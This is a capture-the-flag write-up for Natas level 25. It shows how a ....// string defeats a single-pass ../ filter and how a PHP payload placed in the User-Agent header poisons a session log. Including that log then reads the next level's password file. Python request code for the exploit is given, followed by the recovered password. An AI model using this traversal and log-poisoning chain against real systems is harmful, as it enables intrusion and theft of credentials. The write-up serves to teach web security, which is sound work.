Description

The lang parameter selects a language file. The code strips ../ but only once, so ....// bypasses the filter and still resolves to ../. A separate log file is written per session and includes the User-Agent header unsanitised.

Overview

• Filter bypass: ....// becomes ../ after one-pass removal of ../.
• LFI: chaining ....// lets us read /etc/natas_webpass/natas26.
• However, direct LFI is blocked for the password file, so log poisoning is used.
• Setting User-Agent to a PHP snippet and then including the log file executes it.

Solution

# Step 1: poison the log with a PHP payload in User-Agent
traversal = "....//....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_{session}.log"
headers = {"User-Agent": "<?php echo file_get_contents('/etc/natas_webpass/natas26'); ?>"}
requests.get(url + f"?lang={traversal}", auth=auth, headers=headers, cookies=cookies)

# Step 2: include the log file to execute the PHP
r = requests.get(url + f"?lang={traversal}", auth=auth, cookies=cookies)
result = re.search(r"[A-Za-z0-9]{32}", r.text).group(0)

Password

8A506rfIAXbKKk68yJeuTuRq4UfcK70k